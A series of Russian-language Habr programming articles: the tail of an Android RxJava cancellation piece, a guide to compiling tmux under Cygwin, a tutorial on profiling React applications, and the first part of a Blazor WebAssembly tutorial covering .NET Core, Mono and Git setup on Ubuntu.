override fun dispose() {
compositeDisposable.clear()
}
}
```
Также аналогично отменяем все задачи в базовом фрагменте:
```
class BaseFragment(@LayoutRes layoutRes: Int) : Fragment(layoutRes),
DisposableHolder by DisposableHolderImpl() {
override fun onDestroyView() {
super.onDestroyView()
dispose()
}
override fun onDestroy() {
super.onDestroy()
dispose()
}
}
```
И сам extension:
```
fun BaseFragment.delayActionSafe(delayMillis: Long, block: () -> Unit): Disposable? {
view ?: return null
return Completable.timer(delayMillis, TimeUnit.MILLISECONDS).subscribe {
block()
}.also {
addDisposable(it)
}
}
```
В заключении
============
При использовании каких-либо отложенных действий нельзя забывать, что это уже асинхронное исполнение, и соответственно оно требует отмены, в противном случае начинают происходить утечки памяти, краши и разные другие неожиданные вещи. | https://habr.com/ru/post/520442/ | null | ru | null |
# Windows + Tmux + Cygwin
Добрый день, хабр!
Я давно плотно работаю с Linux системами, но в качестве десктопа предпочитаю Windows. Но для комфортной работы иногда нужно постараться.
Сегодня я хочу поделится опытом и впечатлениями о том как я пытался найти замену Tmux под cygwin и как я в конце концов победил Tmux и скомпилировал его под Cygwin + Windows. Кому интересно — прошу под кат.
![image](https://habrastorage.org/r/w780q1/storage3/884/1d4/8ad/8841d48ada3725ce887d2a2d06c47545.jpg)
##### Требования к системе
Я собирал tmux на windows 7 x64 с установленным Cygwin.x86. На Cygwin.x86\_64 Собрать библиотеку libevent не удалось.
Начать стоит с установки [Cygwin.x86](http://cygwin.com/install.html). При установке помимо необходимого вам софта нужно установить:
gcc\*, make, autoconf, automake, cmake.
Также необходимо будет поставить библиотеку которую требует tmux: **libncurses10, libncurses-devel, ncurses**.
##### Сборка libevent
Я черпал информацию и опыт с этой [переписки](http://sourceforge.net/mailarchive/message.php?msg_id=30850840). Но все равно пришлось немного изменить и поковыряться в souce code. Я не хочу вас загружать .patch файлами и лишними деталями, кому нужно — сам сможет сравнить исходники. Я же выложу свои готовые наработки, вам необходимо будет только собрать.
Еще одна из необходимых зависимостей Tmux — это библиотека **libevent** которой, к сожалению, нет в репозитории cygwin. Ее необходимо собрать с исходников. Я использовал [libevent-2.0.21-stable](https://docs.google.com/file/d/0BzROX7SA83lFbEhBNmdsclkxR3M/edit?usp=sharing). Открываем Cygwin и собираем:
```
tar xf libevent-2.0.21-stable.tgz
cd libevent-2.0.21-stable
./configure --libdir=/usr/lib/
make && make install
```
Прошу обратить внимание что при configure параметр libdir указан не зря, и Cygwin плохо дружит с /usr/local/lib.
##### Сборка tmux
Я выложил свои [наработки Tmux](https://docs.google.com/file/d/0BzROX7SA83lFLWhkcERJUVJNLWc/edit?usp=sharing)
```
tar xf tmux-tmux-code.tgz
cd tmux-tmux-code
./configure
make && make install
tmux
echo 'Enjoy!'
```
##### Впечетления
Работает очень быстро и не сбоит! В сравнении с альтернативами такими как Byobu и Screen небо и земля.
Спасибо за внимание, желаю всем хорошей недели и комфортных условий труда!
##### Источники
Я лично сделал пару мелких фиксов, основную работу сделали за меня, я хочу выразить большую благодарность этому [проекту](http://sourceforge.net/mailarchive/message.php?msg_id=30850840).
**UPD.** Также собрал [бинарники](https://docs.google.com/file/d/0BzROX7SA83lFX2J6bUxVTnA0TWs/edit?usp=sharing) которые я собрал. | https://habr.com/ru/post/196128/ | null | ru | null |
# Профилирование производительности React-приложений
Сегодня поговорим об измерении производительности рендеринга React-компонентов с использованием API React Profiler. Ещё мы будем оценивать взаимодействия с компонентом, применяя новый экспериментальный API Interaction Tracing. Кроме того, мы воспользуемся API User Timing для проведения собственных измерений.
В качестве площадки для экспериментов воспользуемся приложением React Movies Queue.
[![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/5ef/452/51a/5ef45251ae6a761a3fec98e14c4eefa1.jpg)](https://habr.com/ru/company/ruvds/blog/497986/)
*Приложение React Movies Queue*
API React Profiler
------------------
[API React Profiler](https://reactjs.org/docs/profiler.html) предназначен для оценки скорости работы рендеринга и помогает выявлять узкие места производительности приложений.
```
import React, { Fragment, unstable_Profiler as Profiler} from "react";
```
Компонент `Profiler` принимает коллбэк `onRender` в виде свойства. Он вызывается каждый раз, когда компонент в профилируемом дереве фиксирует обновление.
```
const Movies = ({ movies, addToQueue }) => (
```
Давайте, в тестовых целях, попробуем измерить время, необходимое на рендеринг частей компонента `Movies`. Вот как это выглядит.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/10a/9d0/3ec/10a9d03ece4b7636876ab9b72998dea1.jpg)
*Приложение React Movies Queue и исследование Movies с помощью инструментов разработчика React*
Коллбэк `onRender` принимает параметры, которые описывают то, что рендерится, и время, необходимое на рендеринг. Сюда входит следующее:
* `id`: Свойство `id` из дерева компонента `Profiler`, для которого было зафиксировано изменение.
* `phase`: или `mount` (если дерево было смонтировано), или `update` (если дерево было повторно отрендерено).
* `actualDuration`: время, затраченное на рендеринг зафиксированного обновления.
* `baseDuration`: предполагаемое время рендеринга всего поддерева без кеширования.
* `startTime`: время, когда React начал рендерить это обновление.
* `commitTime`: время, когда когда React зафиксировал это обновление.
* `interactions`: множество «взаимодействий» для данного обновления.
```
const callback = (id, phase, actualTime, baseTime, startTime, commitTime) => {
console.log(`${id}'s ${phase} phase:`);
console.log(`Actual time: ${actualTime}`);
console.log(`Base time: ${baseTime}`);
console.log(`Start time: ${startTime}`);
console.log(`Commit time: ${commitTime}`);
}
```
Загрузим страницу и перейдём в консоль инструментов разработчика Chrome. Там мы должны увидеть следующее.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/cc8/baf/9c9/cc8baf9c9500419f587874bae69acf96.jpg)
*Результаты профилирования в инструментах разработчика*
Мы, кроме того, можем открыть инструменты разработчика React, перейти на закладку `Profiler` и визуализировать сведения о времени рендеринга компонентов. Ниже показана визуализация этого времени в виде flame-графика.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/c56/138/d61/c56138d6154866df33b45014966aa2cb.jpg)
*Работа с результатами профилирования в инструментах разработчика React*
Мне, кроме того, нравится использовать тут режим просмотра `Ranked`, где приводится упорядоченное представление данных. В результате компоненты, на рендеринг которых уходит больше всего времени, оказываются в верхней части списка.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/224/324/1b6/2243241b6de115dbbd7c0a94270d3868.jpg)
*Просмотр результатов профилирования в режиме Ranked*
Кроме того, для проведения измерений в разных частях приложения можно воспользоваться несколькими компонентами `Profiler`:
```
import React, { Fragment, unstable_Profiler as Profiler} from "react";
render(
);
```
А как проанализировать взаимодействия пользователей с компонентами?
API Interaction Tracing
-----------------------
Хорошо бы иметь возможность отслеживать взаимодействия пользователя с интерфейсом приложения (вроде щелчков по элементам). Это позволит находить ответы на интересные вопросы вроде такого: «Сколько времени понадобилось на обновление DOM после щелчка по этой кнопке?». К нашему счастью, в React есть экспериментальная поддержка анализа взаимодействий пользователя с приложением с использованием API Interaction Tracing из нового пакета [scheduler](https://www.npmjs.com/package/scheduler). Документацию по нему можно почитать [здесь](https://www.npmjs.com/package/scheduler).
Сведения о взаимодействиях пользователя и приложения снабжают описаниями (например — «Пользователь щёлкнул по кнопке Добавить в корзину») и отметками времени. Кроме того, при настройке анализа взаимодействий используются коллбэки, в которых выполняются действия, соответствующие тому или иному взаимодействию.
В нашем приложении есть кнопка `Add Movie To Queue`, на которой выводится значок `+`. Она служит для добавления фильмов в очередь просмотра.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/6f7/75c/af2/6f775caf25ad484e73ae70354752b879.jpg)
*Кнопка для добавления фильма в очередь просмотра*
Вот пример кода, отслеживающего обновления состояния для этого взаимодействия пользователя с приложением:
```
import { unstable_Profiler as Profiler } from "react";
import { render } from "react-dom";
import { unstable_trace as trace } from "scheduler/tracing";
class MyComponent extends Component {
addMovieButtonClick = event => {
trace("Add To Movies Queue click", performance.now(), () => {
this.setState({ itemAddedToQueue: true });
});
};
}
```
Мы можем записать сведения об этом взаимодействии и узнать о его длительности, обратившись к инструментам разработчика React.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d93/fc1/ea0/d93fc1ea00661d926e2f9a183b32ebb7.jpg)
*Анализ взаимодействия пользователя с элементом приложения*
С помощью API Interaction Tracing можно, кроме того, собрать сведения о первом рендеринге компонента:
```
import { unstable_trace as trace } from "scheduler/tracing";
trace("initial render", performance.now(), () => {
ReactDom.render(, document.getElementById("app"));
});
```
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/b3c/4ab/310/b3c4ab310fd105fc83697e4a7b5a61fb.jpg)
*Анализ первого рендеринга компонента*
Автор API приводит и другие [примеры](https://gist.github.com/bvaughn/8de925562903afd2e7a12554adcdda16) его использования. Например, иллюстрирующие профилирование асинхронных задач.
Puppeteer
---------
Для автоматизации тестирования взаимодействия пользователя с элементами приложения интересным может показаться применение [Puppeteer](https://developers.google.com/web/tools/puppeteer). Это — Node.js-библиотека, которая даёт доступ к высокоуровневому API, предназначенному для управления браузером Chrome без пользовательского интерфейса с использованием протокола DevTools.
При использовании Puppeteer в распоряжении разработчика оказываются вспомогательные [методы](https://pptr.dev/#?product=Puppeteer&version=v2.1.1&show=api-tracingstartoptions) `tracing.start()` и `tracing.stop()`, предназначенные для сбора показателей производительности DevTools. Ниже показан пример использования этих механизмов для сбора данных о том, что происходит при щелчке по интересующей нас кнопке.
```
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
const navigationPromise = page.waitForNavigation();
await page.goto('https://react-movies-queue.glitch.me/')
await page.setViewport({ width: 1276, height: 689 });
await navigationPromise;
const addMovieToQueueBtn = 'li:nth-child(3) > .card > .card__info > div > .button';
await page.waitForSelector(addMovieToQueueBtn);
// Запуск профилирования...
await page.tracing.start({ path: 'profile.json' });
// Щелчок по кнопке
await page.click(addMovieToQueueBtn);
// Остановка профилирования
await page.tracing.stop();
await browser.close();
})()
```
Теперь, загрузив файл `profile.json` в панель `Performance` инструментов разработчика, мы можем видеть то, вызов каких функций инициировало нажатие на кнопку.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3ed/42f/623/3ed42f62350db7d110d4ba53c80973b6.jpg)
*Анализ последствий нажатия на кнопку*
Если вам интересна тема анализа производительности компонентов — взгляните на [этот](https://calendar.perfplanet.com/2019/javascript-component-level-cpu-costs/) материал.
API User Timing
---------------
[API User Timing](https://developer.mozilla.org/en-US/docs/Web/API/User_Timing_API) позволяет разработчику создавать собственные метрики производительности, используя высокоточные отметки времени. Метод `window.performance.mark()` создаёт отметку времени, которой назначается имя. Метод `window.performance.measure()` позволяет узнать время, прошедшее между двумя измерениями.
```
// Запись времени перед началом задачи
performance.mark('Movies:updateStart');
// Решение задачи
// Запись времени после окончания задачи
performance.mark('Movies:updateEnd');
// Нахождение разницы между временем начала и окончания задачи
performance.measure('moviesRender', 'Movies:updateStart', 'Movies:updateEnd');
```
Профилируя React-приложением с использованием закладки `Performance` инструментов разработчика Chrome, можно найти раздел `Timing`, заполненный временными показателями, касающимися React-компонентов. React, во время рендеринга, умеет публиковать эти сведения с использованием API User Timing.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ed0/f07/ebb/ed0f07ebb5939839c088bc5d56e4b330.jpg)
*Закладка Performance инструментов разработчика Chrome*
Обратите внимание на то, что из DEV-сборок React убирают API User Timings, заменяя его на API React Profiler, который предоставляет более точные отметки времени. Возможно, в будущем поддержку этого API вернут, сделав это для тех браузеров, которые поддерживают спецификацию User Timing Level 3.
В интернете вам могут попасться React-сайты, которые используют API User Timing для определения собственных метрик. Сюда, например, входит метрика Reddit `Time to first post title visible` и метрика Spotify `Time to playback ready`.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/18a/28a/c19/18a28ac19bf3b14050cde0731cf09e71.jpg)
*Особые метрики, используемые на React-сайтах*
Показатели метрик, созданных средствами API User Timing, удобно [выводятся](https://web.dev/user-timings/) в панели [Lighthouse](https://developers.google.com/web/tools/lighthouse/) инструментов разработчика Chrome.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9b1/b97/961/9b1b979616527fd88511ecbadcd0a260.jpg)
*Метрики в панели Lighthouse*
Например, в состав свежих версий [Next.js](https://nextjs.org/) [включены](https://github.com/zeit/next.js/pull/8069) пользовательские метрики и механизмы измерения множества различных событий. В том числе — следующих:
* `Next.js-hydration`: время, необходимое для приведения заранее отрендеренной разметки в рабочее состояние.
* `Next.js-nav-to-render`: время от начала навигации до начала рендеринга.
Все эти измерения выводятся в области `Timings`.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/248/8c5/ee9/2488c5ee9d6bd6ccf9da8e6c36436c26.jpg)
*Анализ метрик Next.js*
Инструменты разработчика и Lighthouse
-------------------------------------
Напоминаю, что Lighthouse и панель `Performance` инструментов разработчика Chrome можно использовать для глубокого анализа процесса загрузки и производительности React-приложений. Здесь можно найти метрики, особенно сильно влияющие на восприятие страниц пользователями.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ce2/5c7/2ee/ce25c72eedd5c79edd5dbc1a42685b10.jpg)
Анализ производительности страницы
Тем, кто работает с React, может понравиться то, что в их распоряжении окажутся новые метрики — вроде показателя [Total Blocking Time](https://web.dev/tbt/) (TBT), который даёт сведения о том, сколько времени страница пребывает в неинтерактивном режиме до того момента, когда она сможет надёжно работать в интерактивном режиме ([Time to Interactive](https://web.dev/tti/)). Вот — показатели TBT («до» и «после») для приложения, в котором применяется экспериментальный конкурентный режим, использование которого помогает приложению адаптироваться к особенностям среды, в которой оно выполняется.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/9b7/074/96d/9b707496d500da0883027da3a571a030.jpg)
*Изменение TBT*
Эти инструменты полезны при анализе узких мест производительности приложения, таких, как [задачи](https://web.dev/long-tasks-devtools/), на выполнение которых уходит много времени, откладывающие переход приложения в интерактивный режим. Например, это может относиться к анализу скорости реакции приложения на нажатия кнопок.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/98b/3ac/803/98b3ac8031d84cdfb9765fde2f399a70.jpg)
*Анализ приложения*
Lighthouse, кроме того, даёт React-разработчикам массу специфических советов по множеству вопросов. Ниже показан результат анализа в [Lighthouse 6.0](https://github.com/GoogleChrome/lighthouse/releases). Здесь открыт раздел [Remove unused JavaScript](https://web.dev/remove-unused-code/), в котором сообщается о неиспользуемом JavaScript-коде, загружаемом в приложение, который может быть импортирован с использованием `React.lazy()`.
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/1e3/9b2/f3a/1e39b2f3a323a74744ee16e68550c6c2.jpg)
*Анализ приложения в Lighthouse*
Приложения всегда полезно проверять на аппаратном обеспечении, которое, вероятнее всего, имеется у его конечных пользователей. Я часто полагаюсь в подобных вопросах на [Webpagetest](https://webpagetest.org/easy) и на данные [RUM](https://web.dev/user-centric-performance-metrics/#in-the-field) и [CrUX](https://web.dev/chrome-ux-report/), которые позволяют мне получать более полные сведения о производительности приложений.
**Уважаемые читатели!** Как вы исследуете производительность своих React-приложений?
[![](https://habrastorage.org/r/w780q1/webt/iq/fi/b4/iqfib45pgphfrxv--zfemt0qnmw.jpeg)](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/497988/ | null | ru | null |
# BlazingPizza: приложение на Blazor от начала и до конца. Часть 1. Настройка среды
Всем привет! Если вы слышали о **Blazor**, но до сих пор не понимаете, что это такое. То вы по адресу. Это первая статья из цикла 12 статей, которая проведет вас через ~~все круги ада~~ весь процесс создания приложения на **Blazor**. В конце у нас будет готовый сайт небольшой пиццерии, вполне на уровне готовый сайтов некоторых пиццерий. Поэтому вам будет чем гордиться;)
Это будет немного не типичный **HelloWorld**. Я осознанно пошел на некоторые усложнения которые лучше сразу принять за правила, в частности это типичная трехслойная архитектура: **View-Domain-DataAccess**.
Я считаю что лучше следовать ей сразу, чем показывать что-то искуственное, не имеющее отношения к жизни. Как показывает практика, многие разработчики, застревают на уровне HelloWorld и потом используют увиденное при проектировании априори крупных приложений(привет моему ex-СамыйЗеленыйБанкСтраны и его **Service.cs** со всем кодом приложения в одном файле, не шучу).
Я расскажу как мапить данные между слоями без боли и без необходимости писать много строчек кода. Также мы задеплоим всё это дело в Azure DevOps. Да, сейчас это необходимая часть любого процесса разработки, мы все сегодня летаем в облаках, кто-то в **on-premises**, кто-то в **Azure** или **AWS**.
Также чтобы первая статья не была банальным рассказом, о том как нажать одну кнопку в **Visual Studio,** а потом другую, подумал будет неплохо устроить небольшой челлендж и впервые попробовать сделать что-то на **Linux**.
Я рассчитываю, что вы обладаете минимальным знанием ASP.NET, C#. Хотя это HelloWorld, я не буду рассказывать, что такое Program.cs.
Далее обсудим, что еще понадобится для программирования под **Linux**.
**Attention:** В следующих паре абзацев выражено моё впечатление, полученное от реальной работы с Linux, установившего её из самых благих побуждений, если **Linux** вызывает у вас восторженные чувства и вы не можете прожить ни дня не открыв командную строку, то вы можете испортить себе настроение, продолжив чтение этой статьи!
Дистрибутив: Ubuntu
-------------------
Комфортного программирования по правде говоря, под Linux у вас не получится, но все же если вы хотите сосредоточиться на деле, поставьте **Ubuntu 19.10**. У меня получилось поставить её со второго раза, хорошо что хоть со второго. И все команды выполнились с первого раза, почти все. Крайне не советую ставить какие-то другие дистрибутивы, я потратил целый день на настройку последней **OpenSuse**, а потом просто снес её.
Зачем вообще может понадобится разрабатывать под **Linux**? Ну хотя бы потому-что **.Net Core** его поддерживает и возможно ваш работодатель решит сэкономить и запускать на проде все в Linux. А писать на мой взгляд лучше под той ОС, на которой собственно и будет выполняться ваше приложение.
IDE победитель: Rider
---------------------
Как я уже сказал, комфортно под **Linux** писать все равно не получится, по из всех зол, выберем меньшее, Rider.
Помимо неё, также есть ещё две популярные то-ли **IDE** то-ли текстовые редакторы **MonoDevelop** и **Visual Studio Code**. Расскажу, о недостатках каждого решения подробнее.
### MonoDevelop
Cамая симпатичная из трех редакторов. Читабельные шрифты(низкокачественные шрифты это первое, что вам бросится в глаза при переезде на Linux). Но к сожалению за красивой оболочкой пустота, несмотря на установленные **.Net Core 2.1 и 3.1**, **MonoDevelop** мне упорно создавала ConsoleApplication с таргет .Net Core 1.1. Blazor проект не получилось ни создать, ни запустить уже созданный вручную.
### Visual Studio Code
Строго говоря это не **IDE**, это текстовый редактор с подсветкой синтаксиса и возможностью билда. Из плюсов с 3 или 4ой попытки, VS Code чудесным образом запустил созданный мною проект **WebAssembly**, когда **MonoDevelop** и **Rider** отказались это делать. Это плюс. Перечисляю дальше минусы: нечитаемый и мелкий по-умолчанию шрифт, думаю через несколько месяцев регулярной работы, ваши глаза просто сойдут с ума.
Следующий минус вытекает из того что это текстовый редактор, такое простое действие как переименование, перемещение проектов? Все что Visual Studio делает автоматически и мы воспринимаем как должное, здесь делается вручную.
### Rider
Здесь все гораздо лучше, чем у товарищей выше, Rider даже подхватил установленный мною **template** для **Blazor WebAssembly**. И даже создал приложение, вот только запускать его эта IDE почему-то отказалась. Надо сказать ради справедливости, что Blazor Server, собрался и запустился без проблем.
Также **Rider** позволяет добавить при создании проекта git репозиторий. Но при этом **.gitignore** почему-то оказался пустым.
То есть опять же, требуется ручное вмешательство, а Rider на всякий случай напомню, конкурирует с **VS** и **JetBrains** берет деньги за свой продукт. Ну и как обычно проблема, вообще на линуксе в принципе, это плохие шрифты, они какие-то очень тонкие, плохо читаемые. Элементы также все мелкие, в них нужно еще прицелиться. Также несколько раз, за два дня работы, **Rider** повесил систему при загрузке простенького solution. Компьютер пришлось перезагружать reset-ом, что конечно не есть good (update: к моменту окончания написания статьи это произошло уже раз пять).
Победитель в номинации Лучшая **C# IDE** под **Linux**:
Rider — несмотря на все недостатки, мне удалось добиться, что эта **IDE** стабильно собирала и запускала проект, опять же браузер почему-то не запускался по умолчанию, это нужно делать вручную.
Ниже на скриншоте, Rider(обратите внимание на шрифты), и попытка запустить **Blazor WebAssembly** проект, созданный им же самим, с **MonoDevelop** аналогичная ситуация.
![](https://habrastorage.org/r/w1560/webt/a4/ab/ia/a4abiah4ltt2bsqbsrfomjxyv6q.png)
Если все так плохо, зачем пользоваться **Linux**?
-------------------------------------------------
Напомню, что это учебный проект, целью было показать что на Linux все таки можно работать.
К тому же несовершенство инструментов разработки под **Linux** подталкивает нас к большому количеству ручных действий, которые позволят немного больше узнать о том как работает **.Net** под капотом и понять как много работы за нас выполняет та же Visual Studio.
Что мы хотим получить?
----------------------
В конце мы получим симпатичное приложение, как на примере ниже:
![](https://habrastorage.org/r/w1560/webt/pt/tp/q8/pttpq8joyyabngjyclb6lrzhet4.png)
А теперь за дело. Начнем с установки .Net Core 3.1
Установка .Net Core 3.1
-----------------------
**.Net Core 3.1.1 SDK** последняя доступная на данный момент версия **SDK**, она доступна в репозитории **Ubuntu**. **Blazor** очень быстро меняется поэтому для работы с **Blazor WebAssembly** использовать именно 3.1.1, последнюю из стабильных версий.
В начале нам нужно зарегистрировать ключ Майкрософт и их репозиторий, делается это следующими командами в приложении **Terminal**(нажимаем кнопку **Win** и вводим **Term**, оно должно появиться в списке доступных):
![](https://habrastorage.org/r/w1560/webt/3b/yu/9g/3byu9g5hx7xgbpndx0ngqtsjg-q.png)
1. ```
wget -q https://packages.microsoft.com/config/ubuntu/19.10/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
```
2. ```
sudo dpkg -i packages-microsoft-prod.deb
```
Теперь переходим непосредственно к установке .Net Core SDK:
1. ```
sudo apt-get update
```
2. ```
sudo apt-get install apt-transport-https
```
3. ```
sudo apt-get update
```
4. ```
sudo apt-get install dotnet-sdk-3.1
```
Установка Blazor WebAssembly template
-------------------------------------
С установкой **.Net Core** закончили, теперь нужно установить **Blazor WebAssembly Template**, который напомню пока находится в стадии **Preview** из которой он выйдет сразу в релиз в мае. Буквально за день до того как я начал писать статью, 28ого января вышла обновленная версия 3.2.0-preview1.20073.1(h)
```
dotnet new -i Microsoft.AspNetCore.Blazor.Templates::3.2.0-preview1.20073.1
```
Установка Git
-------------
Если у вас все ещё не был установлен **Git**, то самое время сделать это. Строго говоря первую команду делать совсем не обязательно, **Ubuntu** попросит вас ввести пароль, если для выполнения команды требуется повышение привилегий, мы предвосхитим его=):
1. ```
sudo su
```
2. ```
add-apt-repository ppa:git-core/ppa
```
3. ```
apt update; apt install git
```
Это еще не все, при исполнении в браузере **Blazor** использует **Mono**, а значит нам нужно установить ещё и его.
Установка Mono
--------------
Первым делом добавим репозитории **Mono** в систему:
1. ```
sudo apt install gnupg ca-certificates
```
2. ```
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
```
3. ```
echo "deb https://download.mono-project.com/repo/ubuntu stable-bionic main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list
```
4. ```
sudo apt update
```
Теперь установим непосредственно сам **Mono**:
```
sudo apt install mono-complete
```
Это небыстрый процесс который занял минут 10, на моем ноутбуке с процессором Core-i5 6200U, потому что компиляция исходников происходит прямо на вашем компьютере.
Поздравляю! Мы установили всё что нужно для разработки Blazor WebAssembly проектов.
Теперь можно перейти собственно к самому проекту.
Но перед этим немного отдохнём от ввода команд и освежим в памяти, что же такое **Blazor WebAssembly.**
Blazor WebAssembly и с чем его едят
-----------------------------------
**Blazor** это **web framework** спроектированный для запуска либо на стороне клиента в браузере через технологию WebAssembly(с использованием **.Net runtime**, а точнее **Mono** реализации, которая в последнее время благодаря открытию исходников .Net почти не отличается от оригинальной платформы), либо на стороне сервера с хостингом в Asp.Net Core приложении и обменивающейся данными посредством технологии SignalR(с помощью создания **Circuits** соединений).
Как вы поняли из описания выше **Blazor != .Net WebAssembly implementation.**
Если выкинуть из этой связки **WebAssembly**, вы можете разрабатывать Blazor Server приложение и оно будет работать даже в **IE 11**, который никогда ничего не слышал о современных технологиях и слава богу больше не услышит.
Так как мы делаем приложение на основе подхода **Blazor WebAssembly**. То его мы рассмотрим чуть подробнее.
1. В начале загружается статическая страница index.html В ней есть нестандартный тэг `app`, который является плейсхолдером для будущего приложения. А так же скрипт blazor.webassembly.js который инициирует загрузку всех сборок и инициализацию приложения. Скачиваются сборки самого **Blazor** приложения, его зависимости (например AutoMapper, AutoFac) и Mono рантайм.
Разработчики из команды **Blazor** постоянно работают над тем чтобы оптимизировать процесс скачиванию сборок, тем самым сокращая время которое проходит между вводом адреса и открытием страницы.
Ещё в предыдущей версии **Blazor**(**3.1.0-preview4.19579.2**, вышедшей два месяца назад) линкер вычищал неиспользуемый код только из библиотек .Net, сейчас также вычищается код библиотек **Blazor**, что ещё незначительно сократило время загрузки приложения на компьютер пользователя.
Blazor приложение представляет из себя набор статических файлов, а это значит что оно одинаково подходит как для проектирования больших приложений, так и статических сайтов которые полностью будут выполняться на стороне клиента, никак не взаимодействуя с сервером.
2. Пожалуй, главным минусом этого подхода является сложная отладка, вы не можете расставлять точки останова, вы в них просто не попадете, хотя думаю это временно, ведь можно же было раньше в студии подключаться к **IE** и дебажить **JS** код.
Ну и пожалуй второй очевидный минус, это необходимость скачивания всех исходников, опять же думаю здесь ещё есть много возможностей для оптимизации.
3. Собственно, после скачивания и всех подготовительных процессов, наше приложение запускается в **UI** потоке браузера и начинает свое выполнение. Вы можете вызывать любой JS код из C# и наоборот.
Здесь давно не было картинок, поэтому вот вам одна ниже :)
![](https://habrastorage.org/r/w1560/webt/mv/sw/iy/mvswiyaubh7h73bblpgwbepecto.png)
Утилита dotnet
--------------
Дальше мы будем активно использовать утилиту из комплекта .Net Core SDK — dotnet.
Она позволяет делать много полезных вещей, нас интересуют лишь несколько:
```
dotnet build
```
Команда выше, собирает солюшен, если запустить из папки с солюшеном, никакие аргументы не требуются.
```
dotnet new blazorwasm -ho -o BlazingPizza
```
Позволяет создать новый проект на основе template который идет после слова new, в нашем случае это **blazorwasm**, здесь например можно было бы указать **classlib** или **console**.
Далее идут специфические параметры шаблона, в данном случае это **-ho**, этот параметр говорит о том что наше приложение будет хоститься на стороне сервера в **ASP.NET Core** приложении, также **.Net** создаст для нас Контроллеры, которые мы в частности можем потом использовать для создания **web api** и обращаться к нему не только из Blazor приложения, но и из других клиентов.
Последний параметр -o указывает папку в которую будет помещено созданное решение, по умолчанию, это текущий каталог.
```
dotnet run
```
Еще одна команда, которая нам пригодится, как следует из названия запускает наше приложение.
Создание проекта
----------------
И так выполним знакомую команду для генерации нашего солюшена. Выберите для этого известное вам место, например папка RiderProjects, которую создал **Rider IDE** и которая размещается по пути /home/{userName}:
```
dotnet new blazorwasm -ho -o BlazingPizza
```
После создания сбилдим проект и наконец запустим, чтобы насладиться, каким никаким результатом(первая команда выполняется на уровне файла BlazingPizza.sln):
```
dotnet build
```
Всё должно было пройти без проблем, перейдем в папку Server и выполним:
```
dotnet run
```
И наконец видим заветный результат:
![](https://habrastorage.org/r/w1560/webt/ms/dq/dk/msdqdkuiqhtryxnush-q4yocnb8.png)
Здорово, все работает. Теперь не надолго забудем о внешнем виде сайта и переключимся на его содержимое.
Результатом выполнения первой команды(dotnet new) стала вот такая структура папок:
![](https://habrastorage.org/r/w1560/webt/5p/al/zy/5palzyowa6et3bprbxme4gu6pwu.png)
По-моему, не лучшая схема, лучше если папки будут иметь префикс с именем солюшена, так привычнее(именно так делает VisaulStudio при создании новых проектов) и позволят понять что это не какая-то доп. служебная папка. Со временем проект может обрасти множеством папок, которые не содержат в себе **C#** кода, и если вы зайдете в **Explorer**, будет тяжело соориентироваться где что, к тому же, могут быть какие-то **deploy** скрипты заложенные на то что в каждой папке имя которой начинается на имя солюшена, находится проект, это нормально, потому-что это многолетнее поведение **Visual Studio** и на него можно полагаться.
И так переименуем существующие проекты и папки которые их содержат(пока что мы ничего не знаем об **IDE**, мы же в **Linux**, к тому же первый раз она не поможет, так как папки и проекты называются по разному):
**Client => BlazingPizza.Client
Server => BlazingPizza.Server
Shared => BlazingPizza.Shared**
Соответствующие изменения нужно отобразить в файле солюшена **BlazingPizza.sln**. Там где указан путь к проекту **«[Server]\~»** и ниже заменим соответственно на **«BlazingPizza.[Server]\~»** как на скриншоте ниже:
![](https://habrastorage.org/r/w1560/webt/4n/1d/qh/4n1dqhz6sww2m_yerejl9yap2sy.png)
Проделаем аналогичные изменения в файле BlazingPizza.Server.csproj:
![](https://habrastorage.org/r/w1560/webt/wc/ws/d0/wcwsd0jvor3cyygkum1rlhihaaq.png)
И наконец BlazingPizza.Client.csproj тоже должен у вас выглядить как на скриншоте ниже:
![](https://habrastorage.org/r/w1560/webt/t2/o5/bm/t2o5bmeocwevinpyynvwudjsq2w.png)
С изменениями пока что хватит, у нас накопилось достаточно всего, что будет обидно потерять, поэтому подключим к нашему солюшену систему контроля версий. Для этого наконец-то откроем нашу **IDE Rider** и солюшен, здесь все так же как и в Visual Studio, можно открыть выбрав файл солюшена.
Как только все загрузится, перейдем в меню **VCS => Enable Version Control Integration**. И здесь подключим **Git**. Rider добавит в папку с солюшеном служебные файлы и подсветит красным все файлы, это значит что эти файлы не зафиксированы в системе контроля версий.
Первый раз **Rider** предложит закомитить все что есть в проекте включая содержимое папок **bin** и **obj**, нам это конечно же не нужно, все потому что файл **.gitignore** который добавлен по дефолту пустой. **Перенесем** его в корень на один уровень с файлом **BlazingPizza.sln** и заменим его содержимое содержимым из под ката.
**Содержимое файла .gitignore**
```
# Default ignored files
/workspace.xml
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015/2017 cache/options directory
.vs/
